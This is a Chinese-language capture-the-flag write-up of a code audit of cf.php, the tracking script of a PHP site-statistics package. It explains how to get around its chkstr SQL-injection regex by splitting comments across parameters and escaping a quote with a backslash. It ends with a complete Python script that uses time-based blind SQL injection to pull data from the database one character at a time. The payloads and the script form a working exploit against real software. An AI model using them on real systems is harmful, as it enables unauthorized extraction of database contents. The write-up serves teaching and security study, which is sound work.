拿到源码 目录结果如下
查看cf.php的代码
<?php
@include("include/myfunction.php");
$action = isset($_GET["action"]) ? chkstr($_GET["action"],1) : "countget";
$assort = isset($_GET["assort"]) ? chkstr($_GET["assort"],2) : 0;
$c = isset($_GET["c"]) ? chkstr($_GET["c"],1) : "";
$username = isset($_GET["username"]) ? chkstr($_GET["username"],1) : "";
if($assort=="")
{
if($c=="")
{
$assort=0;
}
else
{
$username=$c;
$assort=1;
}
}
$tmp=httppath(2);
if($action=="countget"&&$assort==0)
{
echo 'function getCookie(name){ '.chr(13).chr(10);
echo 'var arg = name + "="; '.chr(13).chr(10);
echo 'var alen = arg.length; '.chr(13).chr(10);
echo 'var clen = document.cookie.length; '.chr(13).chr(10);
echo 'var i = 0; '.chr(13).chr(10);
echo 'while (i < clen){ '.chr(13).chr(10);
echo 'var j = i + alen; '.chr(13).chr(10);
echo 'if(document.cookie.substring(i, j) == arg) '.chr(13).chr(10);
echo 'return getCookieVal(j); '.chr(13).chr(10);
echo 'i = document.cookie.indexOf(" ", i) + 1; '.chr(13).chr(10);
echo 'if(i == 0) break; '.chr(13).chr(10);
echo '} '.chr(13).chr(10);
echo 'return null; '.chr(13).chr(10);
echo '} '.chr(13).chr(10);
echo 'function setCookie(name,value){ '.chr(13).chr(10);
echo 'var expDate = new Date(); '.chr(13).chr(10);
echo 'var argv = setCookie.arguments; '.chr(13).chr(10);
echo 'var argc = setCookie.arguments.length; '.chr(13).chr(10);
echo 'var expires = (argc > 2) ? argv[2] : null; '.chr(13).chr(10);
echo 'var path = (argc > 3) ? argv[3] : null; '.chr(13).chr(10);
echo 'var domain = (argc > 4) ? argv[4] : null; '.chr(13).chr(10);
echo 'var secure = (argc > 5) ? argv[5] : false; '.chr(13).chr(10);
echo 'if(expires != null){expDate.setTime (expDate.getTime() + expires);} '.chr(13).chr(10);
echo 'document.cookie = name + "=" + escape (value) + '.chr(13).chr(10);
echo '((expires == null) ? "" : ("; expires=" + expDate.toUTCString())) + '.chr(13).chr(10);
echo '((path == null) ? "" : ("; path=" + path)) + '.chr(13).chr(10);
echo '((domain == null) ? "" : ("; domain=" + domain)) + '.chr(13).chr(10);
echo '((secure == true) ? "; secure" : ""); '.chr(13).chr(10);
echo '} '.chr(13).chr(10);
echo 'function getCookieVal(offset){ '.chr(13).chr(10);
echo 'var endstr = document.cookie.indexOf (";", offset); '.chr(13).chr(10);
echo 'if (endstr == -1) '.chr(13).chr(10);
echo 'endstr = document.cookie.length; '.chr(13).chr(10);
echo 'return unescape(document.cookie.substring(offset, endstr)); '.chr(13).chr(10);
echo '} '.chr(13).chr(10);
echo " var firstshow=0; ".chr(13).chr(10);
echo " var cfstatshowcookie=getCookie('cfstatshowcookie'); ".chr(13).chr(10);
echo " if(cfstatshowcookie!='".$username."') ".chr(13).chr(10);
echo " { ".chr(13).chr(10);
echo " a=new Date(); ".chr(13).chr(10);
echo " h=a.getHours(); ".chr(13).chr(10);
echo " m=a.getMinutes(); ".chr(13).chr(10);
echo " s=a.getSeconds(); ".chr(13).chr(10);
echo " sparetime=1000*60*60*24*1-(h*3600+m*60+s)*1000-1; ".chr(13).chr(10);
echo " setCookie('cfstatshowcookie','".$username."',sparetime,'/'); ".chr(13).chr(10);
echo " firstshow=1; ".chr(13).chr(10);
echo " } ".chr(13).chr(10);
echo "if(!navigator.cookieEnabled){firstshow=0;} ".chr(13).chr(10);
echo "var ly=escape(document.referrer); ".chr(13).chr(10);
echo "var currweb=escape(location.href); ".chr(13).chr(10);
echo "var screenwidth=screen.width; ".chr(13).chr(10);
echo "var screenheight=screen.height; ".chr(13).chr(10);
echo "var screencolordepth=screen.colorDepth; ".chr(13).chr(10);
echo "var webtitle=document.title; ".chr(13).chr(10);
echo "document.write(\"<script src='".$tmp."cf.php?action=countget_2&username=".$username."&assort=0&ly=\" + ly + \"&currweb=\" + currweb + \"&firstshow=\" + firstshow + \"&screenwidth=\" + screenwidth + \"&screenheight=\" + screenheight + \"&screencolordepth=\" + screencolordepth + \"&webtitle=\" + webtitle + \"&ranstr=\" + Math.random() + \"' language='JavaScript' charset='gbk'></script>\"); ".chr(13).chr(10);
}
if($action=="countget_2"||$assort==1)
{
@include("conn.php");
@include("config.php");
if($assort==0){
$ly=isset($_GET["ly"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["ly"])),1),0,255) : "";
$currweb=isset($_GET["currweb"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["currweb"])),1),0,255) : "";
}
else
{
$ly= isset($_SERVER["HTTP_REFERER"]) ? substr(chkstr(htmlspecialchars(urldecode($_SERVER["HTTP_REFERER"])),1),0,255) : "";
$currweb=$ly;
}
$firstshow = isset($_GET["firstshow"]) ? chkstr($_GET["firstshow"],2) : 0;
$screenwidth = isset($_GET["screenwidth"]) ? chkstr($_GET["screenwidth"],2) : 0;
$screenheight = isset($_GET["screenheight"]) ? chkstr($_GET["screenheight"],2) : 0;
$screencolordepth = isset($_GET["screencolordepth"]) ? chkstr($_GET["screencolordepth"],2) : 0;
$webtitle=isset($_GET["webtitle"]) ? substr(chkstr(htmlspecialchars($_GET["webtitle"]),1),0,255) : "";
$lyhead=isset($ly) ? breakurl($ly) : "";
$ip = chkstr(getip(),1);
$agentstr=$_SERVER['HTTP_USER_AGENT'];
if (strpos($agentstr,'Alexa')!==false)
$alexa=1;
else
$alexa=0;
$ostype=getostype();
$browsertype=getbrowsertype();
if(abs(strtotime("now")-strtotime($rsset["lastdeldate"]))>3600*24*1)
{
$sql="delete from cfstat_visit_last where TO_DAYS(NOW())-TO_DAYS(lasttime)>1";
mysql_query($sql);
$sql="delete from cfstat_client_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$clientkeepday";
mysql_query($sql);
$sql="delete from cfstat_count_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$countkeepday";
mysql_query($sql);
$sql="delete from cfstat_count_hour where TO_DAYS(NOW())-TO_DAYS(adddate)>$hourkeepday";
mysql_query($sql);
$sql="delete from cfstat_ly_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$lykeepday";
mysql_query($sql);
$sql="delete from cfstat_search_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$searchkeepday";
mysql_query($sql);
$sql="delete from cfstat_searchkeyword_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$searchkeywordkeepday";
mysql_query($sql);
$sql="delete from cfstat_web_day where TO_DAYS(NOW())-TO_DAYS(adddate)>$webkeepday";
mysql_query($sql);
$sql="update cfstat_admin set lastdeldate='".date("Y-m-d")."'";
mysql_query($sql);
}
$sql="select countershow,style,showtotal,realiptotal,userstate,imgfilename,imgselftext from cfstat_user where username='$username'";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
if($rs['userstate']==0)
{
$mycode="<a href=".$tmp."cf.php?action=countgo&username=".$username." target=_blank title=网站流量统计>用户被暂停</a>";
echo "document.write('".$mycode."');";
exit;
}
else
{
$countershow=$rs['countershow'];
$style=$rs['style'];
$showtotal=$rs['showtotal']+1;
$realiptotal=$rs['realiptotal'];
$imgfilename=$rs['imgfilename'];
$imgselftext=$rs['imgselftext'];
}
if($assort==0)
{
if($firstshow==0){
$sql="update cfstat_visit_last set pvtotal=pvtotal+1,webtitle='$webtitle',currweb='$currweb',lasttime='".date("Y-m-d H:i:s")."' where ip='$ip' and username='$username'";
mysql_query($sql);
}
}
elseif($assort==1)
{
$sql="update cfstat_visit_last set pvtotal=pvtotal+1,currweb='$currweb',lasttime='".date("Y-m-d H:i:s")."' where ip='$ip' and username='$username'";
mysql_query($sql);
if(mysql_affected_rows()==0)
{
$firstshow=1;
}
else
{
$firstshow=0;
}
}
if($firstshow==1)
{
$sql="select id from cfstat_visit_last where username='$username' and myid<=".($realiptotal+1-$user_visit_maxrsnum)." order by myid desc limit 0,1";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
if($rs['id'])
{
$sql="update cfstat_visit_last set";
$sql = $sql." myid='".($realiptotal+1)."',";
$sql = $sql."username='$username',";
$sql = $sql."ip='$ip',";
$sql = $sql."pvtotal='1',";
$sql = $sql."ly='$ly',";
$sql = $sql."webtitle='$webtitle',";
$sql = $sql."currweb='$currweb',";
$sql = $sql."addtime='".date("Y-m-d H:i:s")."',";
$sql = $sql."lasttime='".date("Y-m-d H:i:s")."',";
$sql = $sql."screenwidth='$screenwidth',";
$sql = $sql."screenheight='$screenheight',";
$sql = $sql."screencolordepth='$screencolordepth',";
$sql = $sql."ostype='$ostype',";
$sql = $sql."browsertype='$browsertype'";
$sql = $sql." where id='".$rs['id']."'";
mysql_query($sql);
}
else
{
$sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";
mysql_query($sql);
}
$sql="update cfstat_user set showtotal=showtotal+1,realshowtotal=realshowtotal+1,realiptotal=realiptotal+1,lasttime='".date("Y-m-d H:i:s")."' where username='$username'";
mysql_query($sql);
}
elseif($firstshow==0)
{
$sql="update cfstat_user set showtotal=showtotal+1,realshowtotal=realshowtotal+1,lasttime='".date("Y-m-d H:i:s")."' where username='$username'";
mysql_query($sql);
}
if($firstshow==1)
{
....
}
前200行如上,后面不重要的不放了
可以看到在191行的sql语句如下
$sql="insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(".($realiptotal+1).",'$username','$ip','$ly','$webtitle','$currweb','".date("Y-m-d H:i:s")."','".date("Y-m-d H:i:s")."','$screenwidth','$screenheight','$screencolordepth','$ostype','$browsertype')";
其中$username,$ip,$ly,$webtitle,$currweb都是可控的,它们在上文的赋值操作如下
$username = isset($_GET["username"]) ? chkstr($_GET["username"],1) : "";
$ly=isset($_GET["ly"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["ly"])),1),0,255) : "";
$currweb=isset($_GET["currweb"]) ? substr(chkstr(htmlspecialchars(urldecode($_GET["currweb"])),1),0,255) : "";
$webtitle=isset($_GET["webtitle"]) ? substr(chkstr(htmlspecialchars($_GET["webtitle"]),1),0,255) : "";
}
可以看到都存在一个chkstr过滤,跟进一下
function chkstr($paravalue,$paratype) //过滤非法字符
{
if($paratype==1)
{
$filterstr="(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if (preg_match("/".$filterstr."/is",$paravalue)==1){
echo "传递的参数类型有错误!";
exit;
}
$inputstr=str_replace("'","''",$paravalue);
}
elseif($paratype==2)
{
if($paravalue!=""&&is_numeric($paravalue)==false)
{
echo "传递的参数类型有错误!";
exit;
}
else
{
$inputstr=$paravalue;
}
}
elseif($paratype==3)
{
if($paravalue!=""&&(strtotime($paravalue)==false||strtotime($paravalue)==-1))
{
echo("传递的参数类型有错误!");
exit;
}
else
{
$inputstr=$paravalue;
}
}
return $inputstr;
}
可以看到当$paratype==1时,存在一个对sql注入的正则过滤,该正则过滤可以通过多个参数拼接绕过,形如
username=',(select/&ly=/flag from flag,1,1,1);#
需要注意的是,除了username外,其他参数还使用了htmlspecialchars函数进行过滤,因此过滤了',需要使用0x绕过
最终执行的mysql语句形如
insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(1,'',(select /*.....*/flag from flag),1,1,1,1,1,1,1,1,1,1);#......
由于没有回显和报错,可以通过时间盲注获取flag
正常来说此时已经可以注入进去,但是执行时发现无法到底目标代码的位置,向前回溯,发现在133行有个exit
$sql="select countershow,style,showtotal,realiptotal,userstate,imgfilename,imgselftext from cfstat_user where username='$username'";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
if($rs['userstate']==0)
{
$mycode="<a href=".$tmp."cf.php?action=countgo&username=".$username." target=_blank title=网站流量统计>用户被暂停</a>";
echo "document.write('".$mycode."');";
exit;
}
在cfstat_user表中username='$username'的结果,如果$rs['userstate']==0的话则exit,由于php的弱语言特性,当查询结果为空时$rs['userstate']为NULL,$rs['userstate']==0为True,因此username需要为一个userstate不为0的用户名
查询备份表中的数据,发现存在一个username为mytest的用户且userstate不为0;输入username=mytest,此时username不能作为注入的参数,由于其他参数都被htmlspecialchars过滤,无法直接注入单引号',因此我们需要使用反斜杠\逃逸出单引号,形如
ly=\&webtitle=,(select flag/&currweb=/from flag),1,1,1);#
包裹ly变量的后单引号被\注释,使后面的webtitle变量逃逸出来
最终执行的sql语句如下
insert into cfstat_visit_last (myid,username,ip,ly,webtitle,currweb,addtime,lasttime,screenwidth,screenheight,screencolordepth,ostype,browsertype) values(1,'mytest','ly=\',webtitle=',(select /*.....*/flag from flag),1,1,1,1,1,1,1,1);#......
最终时间盲注的exp如下(比赛时flag在数据库里,本地复现时需要自行在数据库里添加)
(环境源码和数据库文件在附件里)
#目标地址
url="http://127.0.0.1:801/php2/www/"
data=""
data_len=-1
#要执行的sql语句 必须是select
sql_select=""
for num in range(1,1000):
new_data_len=len(data)
if new_data_len==data_len:
break
else:
data_len=new_data_len
for i in range(30,128):
#要执行的sql语句
sql= sql_select if sql_select else "select user()"
sql=f"ascii(substr((sql),{num},1))={i}".replace("sql",sql)
# 生成payload
# payload='a:1:{i:0%3ba:1:{s:9:"ProductID"%3bs:num:"1) or if(sql,sleep(1),1)#"%3b}}'.replace("num",str(22+sqllen)).replace("sql",sql)
# print(payload)
#发送payload
time1=time.time()
try:
r=requests.get(url+f"cf.php?username=mytest&firstshow=1&action=countget_2&ly=\\&webtitle=,if(ascii(substr((select flag/*&currweb=*/from flag),{num},1))={i},sleep(5),1),1,1,1,1,1,1,1,1);%23")
time2 = time.time()
except:
print("error")
exit()
print(r.request.url)
if r.status_code == 429:
print("too fast")
time.sleep(5)
continue
if time2-time1 > 5:
data+=chr(i)
print(data)
break
print(data[:-1])
-
www.zip 下载
没有评论